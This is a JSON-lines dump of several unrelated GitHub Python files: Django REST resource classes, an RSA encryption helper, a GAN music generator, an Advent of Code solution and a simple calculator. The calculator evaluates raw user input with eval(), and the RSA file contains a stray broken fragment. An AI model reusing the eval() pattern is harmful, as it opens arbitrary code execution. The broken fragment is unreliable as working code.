resource methods. Key is a field name, value is a method that returns field value.\n \"\"\"\n method_fields = {}\n for method_name in fields:\n real_method_name = self.renamed_fields.get(method_name, method_name)\n method = self.get_method_returning_field_value(real_method_name)\n if method:\n method_fields[real_method_name] = types.MethodType(method, self)\n return method_fields\n\n @classmethod\n def get_method_returning_field_value(cls, field_name):\n \"\"\"\n Returns method which can be used with serializer to get a field value.\n :param field_name: name of th field\n :return: resource method\n \"\"\"\n\n method = getattr(cls, field_name, None)\n return method if method and callable(method) else None\n\n\nclass DjangoResourceMixin(ModelResourceMixin):\n\n allowed_methods = ('get', 'post', 'put', 'patch', 'delete', 'head', 'options')\n model = None\n\n def get_detailed_fields(self, obj=None):\n detailed_fields = super().get_detailed_fields(obj=obj)\n return list(self.model._rest_meta.detailed_fields) if detailed_fields is None else detailed_fields\n\n def get_general_fields(self, obj=None):\n general_fields = super().get_general_fields(obj=obj)\n return list(self.model._rest_meta.general_fields) if general_fields is None else general_fields\n\n def get_guest_fields(self, obj=None):\n guest_fields = super().get_guest_fields(obj=obj)\n return list(self.model._rest_meta.guest_fields) if guest_fields is None else guest_fields\n\n def get_extra_fields(self, obj=None):\n extra_fields = super().get_extra_fields(obj=obj)\n return list(self.model._rest_meta.extra_fields) if extra_fields is None else extra_fields\n\n def get_default_fields(self, obj=None):\n default_fields = super().get_default_fields(obj=obj)\n return list(self.model._rest_meta.default_fields) if default_fields is None else default_fields\n\n def get_extra_filter_fields(self):\n extra_filter_fields = super().get_extra_filter_fields()\n return list(self.model._rest_meta.extra_filter_fields) if extra_filter_fields is None else extra_filter_fields\n\n def get_filter_fields(self):\n filter_fields = super().get_filter_fields()\n return self.model._rest_meta.filter_fields if filter_fields is None else filter_fields\n\n def get_extra_order_fields(self):\n extra_order_fields = super().get_extra_order_fields()\n return list(self.model._rest_meta.extra_order_fields) if extra_order_fields is None else extra_order_fields\n\n def get_order_fields(self):\n order_fields = super().get_order_fields()\n return self.model._rest_meta.order_fields if order_fields is None else order_fields\n\n\nclass BaseModelResource(ModelResourceMixin, BaseResource):\n\n model = None\n\n allowed_methods = ('get', 'post', 'put', 'patch', 'delete', 'head', 'options')\n pk_name = 'pk'\n pk_field_name = 'id'\n abstract = True\n partial_put_update = None\n partial_related_update = None\n serializer = ModelResourceSerializer\n\n filters = {}\n filter_manager = None\n order_manager = None\n\n def _serialize(self, output_stream, result, status_code, http_headers):\n try:\n converter = get_converter_from_request(self.request, self.converters)\n http_headers['Content-Type'] = converter.content_type\n\n converter.encode_to_stream(\n output_stream, self._get_converted_dict(result), resource=self, request=self.request,\n status_code=status_code, http_headers=http_headers, result=result,\n requested_fields=self._get_requested_fieldset(result)\n )\n except ValueError:\n raise UnsupportedMediaTypeException\n\n def _get_converted_serialized_data(self, result):\n return self.serializer(self, request=self.request).serialize(\n result, self._get_serialization_format(), requested_fieldset=self._get_requested_fieldset(result),\n lazy=True, allow_tags=self._get_converter().allow_tags\n )\n\n def _get_obj_or_404(self, pk=None):\n obj = self._get_obj_or_none(pk)\n if not obj:\n raise Http404\n return obj\n\n def render_response(self, result, http_headers, status_code, fieldset):\n return super().render_response(result, http_headers, status_code, fieldset)\n\n def _get_allow_header(self):\n return ','.join((\n method.upper() for method in self.check_permissions_and_get_allowed_methods(obj=self._get_obj_or_none())\n ))\n\n def _get_queryset(self):\n \"\"\"\n Should return list or db queryset\n \"\"\"\n raise NotImplementedError\n\n def _get_obj_or_none(self, pk=None):\n \"\"\"\n Should return one object\n \"\"\"\n raise NotImplementedError\n\n def _get_filter_manager(self):\n return self.filter_manager\n\n def _filter_queryset(self, qs):\n \"\"\"\n :return: filtered queryset via filter manager if filter manager is not None.\n \"\"\"\n filter_manager = self._get_filter_manager()\n if filter_manager:\n return filter_manager.filter(self, qs, self.request)\n else:\n return qs\n\n def _get_order_manager(self):\n return self.order_manager\n\n def _order_queryset(self, qs):\n \"\"\"\n :return: ordered queryset via order manager if order manager is not None.\n \"\"\"\n order_manager = self._get_order_manager()\n if order_manager:\n return order_manager.sort(self, qs, self.request)\n else:\n return qs\n\n def _preload_queryset(self, qs):\n \"\"\"\n May contain preloading implementation for queryset\n \"\"\"\n return qs\n\n def _exists_obj(self, **kwargs):\n \"\"\"\n Should return true if object exists\n \"\"\"\n return bool(self._get_obj_or_none(**kwargs))\n\n def _get_pk(self):\n return self.kwargs.get(self.pk_name)\n\n def _get_paginator(self):\n return self.paginator\n\n def post(self):\n pk = self._get_pk()\n data = self.get_dict_data()\n if pk and self._exists_obj(pk=pk):\n raise DuplicateEntryException\n return RestCreatedResponse(self.atomic_create_or_update(data))\n\n def get(self):\n pk = self._get_pk()\n if pk:\n return self._get_obj_or_404(pk=pk)\n qs = self._preload_queryset(self._get_queryset())\n qs = self._filter_queryset(qs)\n qs = self._order_queryset(qs)\n\n paginator = self._get_paginator()\n\n if paginator:\n return paginator.get_response(qs, self.request)\n else:\n return qs\n\n def put(self):\n pk = self._get_pk()\n data = self.get_dict_data()\n obj = self._get_obj_or_404(pk=pk)\n data[self.pk_field_name] = obj.pk\n try:\n # Backward compatibility\n partial_update = settings.PARTIAL_PUT_UPDATE if self.partial_put_update is None else self.partial_put_update\n return self.atomic_create_or_update(data, partial_update=partial_update)\n except ConflictException:\n # If object allready exists and user doesn't have permissions to change it should be returned 404 (the same\n # response as for GET method)\n raise Http404\n\n def patch(self):\n pk = self._get_pk()\n data = self.get_dict_data()\n obj = self._get_obj_or_404(pk=pk)\n data[self.pk_field_name] = obj.pk\n try:\n return self.atomic_create_or_update(data, partial_update=True)\n except ConflictException:\n # If object allready exists and user doesn't have permissions to change it should be returned 404 (the same\n # response as for GET method)\n raise Http404\n\n def delete(self):\n self.delete_obj_with_pk(self._get_pk())\n return RestNoContentResponse()\n\n def delete_obj_with_pk(self, pk, via=None):\n via = via or []\n obj = self._get_obj_or_404(pk)\n self._check_permission('delete_obj', obj=obj, via=via)\n self._pre_delete_obj(obj)\n self._delete_obj(obj)\n self._post_delete_obj(obj)\n\n def _pre_delete_obj(self, obj):\n pass\n\n def _delete_obj(self, obj):\n raise NotImplementedError\n\n def _post_delete_obj(self, obj):\n pass\n\n @transaction.smart_atomic\n def atomic_create_or_update(self, data, partial_update=False):\n \"\"\"\n Atomic object creation\n \"\"\"\n return self.create_or_update(data, partial_update=partial_update)\n\n def _get_instance(self, data):\n \"\"\"\n Should contains implementation for get object according to input data values\n \"\"\"\n raise NotImplementedError\n\n def _generate_form_class(self, inst, exclude=None):\n return self.form_class\n\n def _get_form(self, fields=None, inst=None, data=None, files=None, initial=None, partial_update=False):\n # When is send PUT (resource instance exists), it is possible send only changed values.\n initial = {} if initial is None else initial\n exclude = []\n\n kwargs = self._get_form_kwargs()\n if inst:\n kwargs['instance'] = inst\n if data is not None:\n kwargs['data'] = data\n kwargs['files'] = files\n\n form_class = self._generate_form_class(inst, exclude)\n return form_class(initial=initial, partial_update=partial_update, **kwargs)\n\n def _get_form_kwargs(self):\n return {}\n\n def _get_form_initial(self, obj):\n return {}\n\n def _can_save_obj(self, change, obj, form, via):\n if change and (not via or form.has_changed()):\n self._check_permission('update_obj', obj=obj, via=via)\n elif not change:\n self._check_permission('create_obj', obj=obj, via=via)\n\n return not change or self.has_update_obj_permission(obj=obj, via=via)\n\n def create_or_update(self, data, via=None, partial_update=False):\n try:\n return self._create_or_update(data, via, partial_update=partial_update)\n except DataInvalidException as ex:\n raise DataInvalidException(self.update_errors(ex.errors))\n\n def _create_or_update(self, data, via=None, partial_update=False):\n \"\"\"\n Helper for creating or updating resource\n \"\"\"\n from pyston.data_processor import data_preprocessors, data_postprocessors\n\n via = [] if via is None else via\n inst = self._get_instance(data)\n change = inst and True or False\n\n files = self.request.FILES.copy()\n\n form = self._get_form(inst=inst, data=data, initial=self._get_form_initial(inst))\n\n # Backward compatibility\n partial_related_update = (\n settings.PARTIAL_RELATED_UPDATE if self.partial_related_update is None else self.partial_related_update\n ) or partial_update\n\n for preprocessor in data_preprocessors.get_processors(type(self)):\n data, files = preprocessor(self, form, inst, via, partial_related_update).process_data(data, files)\n\n form = self._get_form(fields=form.fields.keys(), inst=inst, data=data, files=files,\n initial=self._get_form_initial(inst), partial_update=partial_update)\n\n errors = form.is_invalid()\n if errors:\n raise DataInvalidException(errors)\n\n inst = form.save(commit=False)\n\n can_save_obj = self._can_save_obj(change, inst, form, via)\n if can_save_obj:\n self._pre_save_obj(inst, form, change)\n self._save_obj(inst, form, change)\n\n if inst.pk:\n for preprocessor in data_postprocessors.get_processors(type(self)):\n data, files = preprocessor(self, form, inst, via, partial_related_update).process_data(data, files)\n\n if can_save_obj:\n if hasattr(form, 'post_save'):\n form.post_save()\n\n # Because reverse related validations is performed after save errors check must be evaluated two times\n errors = form.is_invalid()\n if errors:\n raise DataInvalidException(errors)\n\n self._post_save_obj(inst, form, change)\n return inst\n\n def _pre_save_obj(self, obj, form, change):\n pass\n\n def _save_obj(self, obj, form, change):\n raise NotImplementedError\n\n def _post_save_obj(self, obj, form, change):\n pass\n\n\nclass DjangoResource(DjangoResourceMixin, BaseModelResource):\n\n register = True\n abstract = True\n form_class = RestModelForm\n serializer = DjangoResourceSerializer\n form_fields = None\n\n filter_manager = DjangoFilterManager()\n order_manager = DjangoOrderManager()\n paginator = DjangoOffsetBasedPaginator()\n\n def _get_queryset(self):\n return self.model.objects.all()\n\n def _get_obj_or_none(self, pk=None):\n if pk or self._get_pk():\n return get_object_or_none(self._get_queryset(), pk=(pk or self._get_pk()))\n else:\n return None\n\n def _exists_obj(self, **kwargs):\n return self.model.objects.filter(**kwargs).exists()\n\n def _delete_obj(self, obj):\n obj.delete()\n\n def _save_obj(self, obj, form, change):\n obj.save()\n\n def _get_exclude(self, obj=None):\n return []\n\n def _get_form_class(self, inst):\n return self.form_class\n\n def _get_name(self):\n return force_text(remove_accent(force_text(self.model._meta.verbose_name_plural)))\n\n def formfield_for_dbfield(self, db_field, **kwargs):\n if isinstance(db_field, DateTimeField):\n kwargs.update({'form_class': ISODateTimeField})\n return db_field.formfield(**kwargs)\n\n def _get_instance(self, data):\n # If data contains id this method is update otherwise create\n inst = None\n pk = data.get(self.pk_field_name)\n if pk:\n try:\n try:\n inst = self._get_queryset().get(pk=pk)\n except (ObjectDoesNotExist, ValueError):\n if self.model.objects.filter(pk=pk).exists():\n raise ConflictException\n except ValueError:\n pass\n return inst\n\n def _get_form_fields(self, obj=None):\n return self.form_fields\n\n def _generate_form_class(self, inst, exclude=None):\n exclude = [] if exclude is None else exclude\n exclude = list(self._get_exclude(inst)) + exclude\n form_class = self._get_form_class(inst)\n fields = self._get_form_fields(inst)\n if hasattr(form_class, '_meta') and form_class._meta.exclude:\n exclude.extend(form_class._meta.exclude)\n return rest_modelform_factory(\n self.model, form=form_class, resource_typemapper=self.resource_typemapper,\n auto_related_direct_fields=settings.AUTO_RELATED_DIRECT_FIELDS,\n auto_related_reverse_fields=settings.AUTO_RELATED_REVERSE_FIELDS,\n exclude=exclude, fields=fields,\n formfield_callback=self.formfield_for_dbfield\n )\n","repo_name":"druids/django-pyston","sub_path":"pyston/resource.py","file_name":"resource.py","file_ext":"py","file_size_in_byte":41564,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"37"} +{"seq_id":"9947198559","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Nov 26 11:24:02 2021\r\n\r\n@author: sbjkad\r\n\"\"\"\r\n\r\nimport os\r\nimport rsa\r\nimport json\r\nimport hashlib\r\nimport base64\r\nimport sys\r\nfrom Crypto import Cipher\r\nfrom simple_settings import settings\r\n\r\nclass RSAEncrypter(object):\r\n \"\"\"RSA加密解密\r\n 参考 https://stuvel.eu/python-rsa-doc/index.html\r\n [description]\r\n \"\"\"\r\n @classmethod\r\n def encrypt(cls, plaintext, keydata):\r\n #明文编码格式\r\n content = plaintext.encode('utf8')\r\n if os.path.isfile(keydata):\r\n with open(keydata) as publicfile:\r\n keydata = publicfile.read()\r\n pubkey = rsa.PublicKey.load_pkcs1_openssl_pem(keydata)\r\n #公钥加密\r\n crypto = rsa.encrypt(content, pubkey)\r\n return base64.b64encode(crypto).decode('utf8')\r\n @classmethod\r\n def decrypt(cls, ciphertext, keydata):\r\n if os.path.isfile(keydata):\r\n with open(keydata) as privatefile:\r\n keydata = privatefile.read()\r\n try:\r\n ciphertext = base64.b64decode(ciphertext)\r\n privkey = rsa.PrivateKey.load_pkcs1(keydata, format='PEM')\r\n con = rsa.decrypt(ciphertext, privkey)\r\n return con.decode('utf8')\r\n except Exception as e:\r\n pass\r\n return False\r\n @classmethod\r\n def signing(cls, message, privkey):\r\n from Crypto.Signature import pkcs1_15\r\n from Crypto.Hash import SHA256\r\n from Crypto.PublicKey import RSA\r\n if os.path.isfile(privkey):\r\n with open(privkey) as privatefile:\r\n privkey = privatefile.read()\r\n try:\r\n key = RSA.import_key(privkey)\r\n h = SHA256.new(message.encode('utf8'))\r\n sign = pkcs1_15.new(key).sign(h)\r\n sign = base64.b64encode(sign).decode('utf8')\r\n return sign\r\n except Exception as e:\r\n raise e\r\n @classmethod\r\n def verify(cls, message, sign, pubkey):\r\n from Crypto.Signature import pkcs1_15\r\n from Crypto.Hash import SHA256\r\n from Crypto.PublicKey import RSA\r\n res = False\r\n sign = base64.b64decode(sign)\r\n # print('sign', type(sign), sign)\r\n try:\r\n key = RSA.importKey(pubkey)\r\n h = SHA256.new(message.encode('utf8'))\r\n pkcs1_15.new(key).verify(h, sign)\r\n res = True\r\n except (ValueError, TypeError) as e:\r\n raise e\r\n pass\r\n except Exception as e:\r\n raise e\r\n pass\r\n return res\r\n\r\n secret = secret if secret else settings.default_aes_secret\r\n cipher = AESEncrypter(secret)\r\n encrypted = cipher.encrypt(plaintext)\r\n return '%s%s' % (prefix, encrypted)\r\nif __name__ == \"__main__\":\r\n try:\r\n # for RSA test\r\n ciphertext = 'Qa2EU2EF4Eq4w75TnA1IUw+ir9l/nSdW3pMV+a6FkzV9bld259DxM1M4RxYkpPaVXhQFol04yFjuxzkRg12e76i6pkDM1itQSOy5hwmrud5PQvfnBf7OmHpOpS6oh6OQo72CA0LEzas+OANmRXKfn5CMN14GsmfWAn/F6j4Azhs='\r\n public_key = 'public.pem'\r\n private_key = 'private.pem'\r\n code_example = \"import math\\ndef floor(init,a):\\n limit = math.ceil((100 - init) / a)\\n for i in range(1,limit):\\n init = init+a\\n i = i+1\\n return(i + math.ceil(a/2))\"\r\n ciphertext = RSAEncrypter.encrypt(code_example, public_key)\r\n print(\"ciphertext:\\n\", ciphertext)\r\n plaintext = RSAEncrypter.decrypt(ciphertext, private_key)\r\n print(\"plaintext:\\n\", plaintext)\r\n except KeyboardInterrupt:\r\n sys.exit(0)","repo_name":"KarenDong/py_compiler","sub_path":"pycryptodome/RSA/rsa_encrypted.py","file_name":"rsa_encrypted.py","file_ext":"py","file_size_in_byte":3242,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"70011226029","text":"'''\nPlik zawiera model GAN do generowania muzyki.\nProces rozpoczyna się od wczytania plików midi, które parsowane są na wartosci liczbowych.\nModel generatora przyjmuje pewną liczbę nut (seq_len=24) a jego wynikiem jest kolejna nuta.\nModel dyskryminatora przyjmuje sekwencję nut i zwraca prawdopodobieństwo czy wprowadzona sekwencja zawiera nutę wygenerowaną przez generator czy jest prawdziwa\n\nModel generatora wykorzystuje dwie komórki lstm, oraz funkcje liniowe do generowania następnej nuty\nModel dyskryminatora wykorzystuje lstm\n'''\n\nfrom collections import OrderedDict\n\nimport copy\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom pytorch_lightning import Trainer\nimport pytorch_lightning as pl\nfrom pytorch_lightning.loggers import TensorBoardLogger\n\nfrom common import generate_sample_song\nfrom constants import BATCH_SIZE\n\nfrom songs_data import SongsDataModule\n\n\nclass NextNoteGenerator(nn.Module):\n def __init__(self, seq_len=24, num_feats=3, num_pitches=128, hidden_units=256, drop_prob=0.4, ):\n super().__init__()\n self.hidden_dim = hidden_units\n\n self.flat = nn.Flatten(1)\n self.fc_layer1 = nn.Linear(in_features=(seq_len * num_feats), out_features=hidden_units)\n self.lstm_cell1 = nn.LSTMCell(input_size=hidden_units, hidden_size=hidden_units)\n self.dropout = nn.Dropout(p=drop_prob)\n self.lstm_cell2 = nn.LSTMCell(input_size=hidden_units, hidden_size=hidden_units)\n self.fc_layer2 = nn.Linear(in_features=hidden_units, out_features=2)\n self.fc_pitches = nn.Linear(in_features=hidden_units, out_features=num_pitches)\n self.softmax = nn.Softmax(dim=1)\n\n def forward(self, x, states):\n '''\n :param x - notes batches (batch_size, seq_num, num_feats)\n :param states: - lstm hidden states\n :return: next note for each of the batches (batch_size, num_feats)\n '''\n\n state1, state2 = states\n\n x = self.flat(x) # x of shape (batch_size, seq_num, num_feats) -> (batch_size, seq_num * num_feats)\n x = self.fc_layer1(x)\n x = F.relu(x)\n x1, c1 = self.lstm_cell1(x, state1)\n x = self.dropout(x1)\n x2, c2 = self.lstm_cell2(x, state2)\n step_duration = self.fc_layer2(x2)\n pitch = self.softmax(self.fc_pitches(x2))\n\n state1 = (x1, c1)\n state2 = (x2, c2)\n\n step = step_duration[:, 0]\n duration = step_duration[:, 1]\n\n return pitch, step, duration, (state1, state2)\n\n def init_hidden(self, batch_size=BATCH_SIZE):\n ''' Inicjalizuje stan ukryty lstm, zwracając tensor tego samego typu co waga '''\n weight = next(self.parameters()).data\n\n return ((weight.new(batch_size, self.hidden_dim).zero_(),\n weight.new(batch_size, self.hidden_dim).zero_()),\n (weight.new(batch_size, self.hidden_dim).zero_(),\n weight.new(batch_size, self.hidden_dim).zero_()))\n\n\nclass NoteSequenceDiscriminator(nn.Module):\n def __init__(self, num_feats=3, hidden_units=256, drop_prob=0.2, num_layers=2):\n super().__init__()\n self.hidden_dim = hidden_units\n self.num_layers = num_layers\n\n self.dropout = nn.Dropout(p=drop_prob)\n self.lstm = nn.LSTM(input_size=num_feats, hidden_size=hidden_units,\n num_layers=self.num_layers, batch_first=True, dropout=drop_prob,\n bidirectional=True)\n self.fc_layer = nn.Linear(in_features=(2 * hidden_units), out_features=1)\n self.sigmoid = nn.Sigmoid()\n\n def forward(self, notes, state):\n x = self.dropout(notes)\n lstm_out, state = self.lstm(x, state)\n x = self.fc_layer(lstm_out)\n x = self.sigmoid(x)\n\n num_dims = len(x.shape)\n reduction_dims = tuple(range(1, num_dims))\n\n # (N, seq_len, 0-1) -> (N, srednia 0-1)\n y = torch.mean(x, dim=reduction_dims)\n\n return y, state\n\n def init_hidden(self, batch_size=BATCH_SIZE):\n ''' Inicjalizauje stan ukryty '''\n weight = next(self.parameters()).data\n\n layer_mult = 2 # bo jest dwukierunkowy\n\n return (weight.new(self.num_layers * layer_mult, batch_size,\n self.hidden_dim).zero_(),\n weight.new(self.num_layers * layer_mult, batch_size,\n self.hidden_dim).zero_())\n\n\nclass SongsGAN(pl.LightningModule):\n def __init__(\n self,\n seq_len=24,\n num_feats=3,\n pitches_num=128,\n lr: float = 0.0002,\n b1: float = 0.5,\n b2: float = 0.999,\n batch_size: int = BATCH_SIZE,\n **kwargs\n ):\n super().__init__()\n self.save_hyperparameters()\n self.seq_len = seq_len\n self.batch_size = batch_size\n\n self.generator = NextNoteGenerator(seq_len=seq_len)\n self.discriminator = NoteSequenceDiscriminator(num_feats=num_feats)\n\n self.generator_state = self.generator.init_hidden(batch_size)\n self.discriminator_state = self.discriminator.init_hidden(batch_size)\n self.train_epoch_num = 0\n\n def forward(self, x, state):\n return self.generator(x, state)\n\n def adversarial_loss(self, y_hat, y):\n # funkcja straty GAN\n return F.binary_cross_entropy(y_hat, y)\n\n def prepare_notes_batch_for_generator(self, songs):\n # Ucina ostatną nutę ponieważ tutaj używany jest dataset z pełną sekwencją\n return songs[:, 0:self.seq_len]\n\n def append_generated_notes_to_real(self, pred_pitch, pred_step, pred_duration, actual_notes):\n '''\n Modyfikuje prawidzwe nuty (seq_len, 3) usuwając pierwszą nutę i dodając przewidziane wartosci\n '''\n actual = copy.deepcopy(actual_notes).detach()\n\n for i in range(0, len(actual_notes)):\n pitch = pred_pitch[i].argmax()\n step = pred_step[i]\n duration = pred_duration[i]\n\n # require_grad wymagany do liczenia gradientów nowego tensora, inaczej błąd\n actual[i] = torch.cat((actual[i][1:], torch.tensor([[pitch, step, duration]], requires_grad=True)))\n\n return actual\n\n def training_step(self, batch, batch_idx, optimizer_idx):\n songs = batch\n\n self.generator_state = self.generator.init_hidden(self.batch_size)\n self.discriminator_state = self.discriminator.init_hidden(self.batch_size)\n\n # trenowanie generatora\n if optimizer_idx == 0:\n x = self.prepare_notes_batch_for_generator(songs)\n\n # generuje następna nutę\n pitch, step, duration, gen_state = self(x, self.generator_state)\n self.generator_state = gen_state\n\n created = self.append_generated_notes_to_real(pitch.clone(), step.clone(), duration.clone(), x.clone())\n\n # generator chce oszukać dyskryminator, chcac aby zwrócił on 1 (która znaczy że jest to prawdziwa sekwencja)\n valid = torch.ones(created.size(0))\n valid = valid.type_as(songs)\n\n disc_valid, di_state = self.discriminator(created, self.discriminator_state)\n self.discriminator_state = di_state\n\n g_loss = self.adversarial_loss(disc_valid, valid)\n self.log('train_generator_loss', g_loss)\n self.log('duration_max_train', torch.max(duration), on_step=True, on_epoch=True)\n self.log('duration_min_train', torch.min(duration), on_step=True, on_epoch=True)\n self.log('step_max_train', torch.max(step), on_step=True, on_epoch=True)\n self.log('step_min_train', torch.min(step), on_step=True, on_epoch=True)\n\n tqdm_dict = {\"g_loss\": g_loss}\n output = OrderedDict({\"loss\": g_loss, \"progress_bar\": tqdm_dict, \"log\": tqdm_dict})\n return output\n\n # trenowanie dyskryminatora\n if optimizer_idx == 1:\n # Sprawdzamy jak dobrze dyksryminator radzi sobie ze sprawdzeniem czy nuta w sekwencji jest wygenerowana czy prawdziwa\n\n # dla prawdziwych chcemy 1\n valid = torch.ones(songs.size(0))\n valid = valid.type_as(songs)\n\n rel, d_state = self.discriminator(songs, self.discriminator_state)\n real_loss = self.adversarial_loss(rel, valid)\n\n # dla wygenerowanych 0\n fake = torch.zeros(songs.size(0))\n fake = fake.type_as(songs)\n\n x = self.prepare_notes_batch_for_generator(songs)\n pitch, step, duration, g_state = self(x, self.generator_state)\n self.generator_state = g_state\n\n g_songs = self.append_generated_notes_to_real(pitch, step, duration, x)\n\n d, d_state = self.discriminator(g_songs, d_state)\n self.discriminator_state = d_state\n\n fake_loss = self.adversarial_loss(d, fake)\n\n d_loss = (real_loss + fake_loss) / 2\n\n self.log('train_discriminator_loss', d_loss)\n\n tqdm_dict = {\"d_loss\": d_loss}\n output = OrderedDict({\"loss\": d_loss, \"progress_bar\": tqdm_dict, \"log\": tqdm_dict})\n return output\n\n def configure_optimizers(self):\n lr = self.hparams.lr\n b1 = self.hparams.b1\n b2 = self.hparams.b2\n\n opt_g = torch.optim.Adam(self.generator.parameters(), lr=lr, betas=(b1, b2))\n opt_d = torch.optim.Adam(self.discriminator.parameters(), lr=lr, betas=(b1, b2))\n return [opt_g, opt_d], []\n\n def validation_epoch_end(self, _):\n generate_sample_song(self.generator, 'gan_songs2', filename=f\"song_{self.train_epoch_num}.midi\", has_state=True,\n seq_len=self.seq_len)\n\n self.train_epoch_num += 1\n\n def validation_step(self, batch, batch_idx):\n songs = batch\n\n self.generator_state = self.generator.init_hidden(self.batch_size)\n self.discriminator_state = self.discriminator.init_hidden(self.batch_size)\n\n x = self.prepare_notes_batch_for_generator(songs)\n\n pitch, step, duration, gen_state = self(x, self.generator_state)\n self.generator_state = gen_state\n\n created = self.append_generated_notes_to_real(pitch.clone(), step.clone(), duration.clone(), x.clone())\n\n valid = torch.ones(created.size(0))\n valid = valid.type_as(songs)\n\n disc_valid, di_state = self.discriminator(created, self.discriminator_state)\n self.discriminator_state = di_state\n\n g_loss = self.adversarial_loss(disc_valid, valid)\n self.log('val_generator_loss', g_loss)\n self.log('duration_max_val', torch.max(duration), on_step=True, on_epoch=True)\n self.log('duration_min_val', torch.min(duration), on_step=True, on_epoch=True)\n self.log('step_max_val', torch.max(step), on_step=True, on_epoch=True)\n self.log('step_min_val', torch.min(step), on_step=True, on_epoch=True)\n\n valid = torch.ones(songs.size(0))\n valid = valid.type_as(songs)\n\n rel, d_state = self.discriminator(songs, self.discriminator_state)\n real_loss = self.adversarial_loss(rel, valid)\n\n fake = torch.zeros(songs.size(0))\n fake = fake.type_as(songs)\n\n x = self.prepare_notes_batch_for_generator(songs)\n pitch, step, duration, g_state = self(x, self.generator_state)\n self.generator_state = g_state\n\n g_songs = self.append_generated_notes_to_real(pitch, step, duration, x)\n\n d, d_state = self.discriminator(g_songs, d_state)\n self.discriminator_state = d_state\n\n fake_loss = self.adversarial_loss(d, fake)\n\n d_loss = (real_loss + fake_loss) / 2\n\n self.log('val_discriminator_loss', d_loss)\n return d_loss\n\n\nif __name__ == '__main__':\n torch.autograd.set_detect_anomaly(True)\n\n dm = SongsDataModule(num_train_songs=5)\n model = SongsGAN()\n\n logger = TensorBoardLogger(\"lightning_logs\", name=\"gan model\")\n trainer = Trainer(max_epochs=10, logger=logger, log_every_n_steps=1)\n trainer.fit(model, dm)\n\n generate_sample_song(model.generator, 'gan_songs2', 500, filename='final_song.midi', has_state=True, seq_len=24)\n","repo_name":"Getriax/AAI","sub_path":"gan.py","file_name":"gan.py","file_ext":"py","file_size_in_byte":12130,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"6896283878","text":"import re\n\nwith open('input.txt') as f:\n data = f.read()\n instructions = data.split('\\n\\n')[1]\n stacks = data.split('\\n\\n')[0].split('\\n')\n\n\n# each character takes up two spaces and is followed by a space\ndic = {}\nfor line in stacks:\n depth = 0\n length = len(line)\n step = 4\n for i in range(1, length, step):\n try:\n dic[i-(depth*3)].append(line[i])\n except:\n dic[i-(depth*3)] = []\n dic[i-(depth*3)].append(line[i])\n depth += 1\n\n# {1: [' ', 'N', 'Z', '1'], 2: ['D', 'C', 'M', '2'], 3: [' ', ' ', 'P', '3']}\nnewdic = {}\nfor key in dic:\n for val in dic[key]:\n if val != ' ':\n try:\n newdic[key].append(val)\n except:\n newdic[key] = []\n newdic[key].append(val)\n# {1: [' ', 'N', 'Z', '1'], 2: ['D', 'C', 'M', '2'], 3: [' ', ' ', 'P', '3']}\ndef move(amount, f, t):\n for x in range(0, amount):\n value = newdic[f][0]\n del newdic[f][x]\n newdic[t].insert(0, value)\n\ndef part1():\n i = instructions.split('\\n')\n for instruction in i:\n # write a regex that finds all numbers in the instruction\n amount, f, t = re.findall(r'\\d+', instruction)\n move(int(amount), int(f), int(t))\n ans = \"\"\n for key in newdic:\n ans += newdic[key][0]\n print(ans)\n\ndef move2(amount, f, t):\n for x in range(amount, 0, -1):\n value = newdic[f][x-1]\n del newdic[f][x-1]\n newdic[t].insert(0, value)\n\ndef part2():\n i = instructions.split('\\n')\n for instruction in i:\n # write a regex that finds all numbers in the instruction\n amount, f, t = re.findall(r'\\d+', instruction)\n if int(amount) == 1:\n move(int(amount), int(f), int(t))\n else: move2(int(amount), int(f), int(t))\n ans = \"\"\n for key in newdic:\n ans += newdic[key][0]\n print(ans)\n\n\n#part1()\npart2()","repo_name":"antonschulz/adventofcode","sub_path":"2022/day5/p.py","file_name":"p.py","file_ext":"py","file_size_in_byte":1917,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"24494710417","text":"# Program start\r\n\r\nprint(\"Welcome to the calculator program!\")\r\n\r\n# Manually calculate multiplication\r\ndef multiply():\r\n # Get input from users\r\n number = int(input('Enter a number: '))\r\n multiplier = int(input('Enter a multiplier: '))\r\n answer = 0\r\n i = 0\r\n\r\n while i < multiplier:\r\n answer += number\r\n i = i + 1\r\n print(\"The result of the multiplication is:\", answer)\r\n\r\n# Manually calculate division\r\ndef division():\r\n # input two integers\r\n p = int(input(\"Enter the dividend: \"))\r\n q = int(input(\"Enter the divisor: \"))\r\n\r\n # initialise quotient and remainder\r\n quotient = 0\r\n remainder = p\r\n\r\n # subtract divisor from dividend until dividend is less than divisor\r\n while remainder >= q:\r\n remainder = remainder - q\r\n quotient += 1\r\n\r\n # output quotient and remainder\r\n print(\"Quotient: \", quotient)\r\n print(\"Remainder: \", remainder)\r\n\r\n# Other function definitions\r\ndef add(n,m):\r\n return n + m\r\n\r\ndef subtract(n,m):\r\n return n - m\r\n\r\ndef exponent(n, m):\r\n return n ** m\r\n\r\n# Starting a loop\r\nwhile True:\r\n print(\"Please select an operation to perform:\")\r\n print(\"1. Addition\")\r\n print(\"2. Subtraction\")\r\n print(\"3. Exponent\")\r\n print(\"4. Evaluate a string\")\r\n print(\"5. Multiplication\")\r\n print(\"6. Division\")\r\n print(\"7. Quit\")\r\n selection = input(\"Enter your selection (1-7): \")\r\n\r\n if selection == '1':\r\n num1 = int(input(\"Please enter the first number: \"))\r\n num2 = int(input(\"Please enter the second number: \"))\r\n print(\"The result of the addition is:\", add(num1, num2))\r\n elif selection == '2':\r\n num1 = int(input(\"Please enter the first number: \"))\r\n num2 = int(input(\"Please enter the second number: \"))\r\n print(\"The result of the subtraction is:\", subtract(num1, num2))\r\n elif selection == '3':\r\n num1 = int(input(\"Please enter the first number: \"))\r\n num2 = int(input(\"Please enter the second number: \"))\r\n print(\"The result of the exponent is:\", exponent(num1, num2))\r\n elif selection == '4':\r\n expression = input(\"Please enter the expression: \")\r\n result = eval(expression)\r\n print(\"The result of the expression is:\", result)\r\n elif selection == '5':\r\n multiply()\r\n elif selection == '6':\r\n division()\r\n elif selection == '7':\r\n print(\"Goodbye!\")\r\n break\r\n 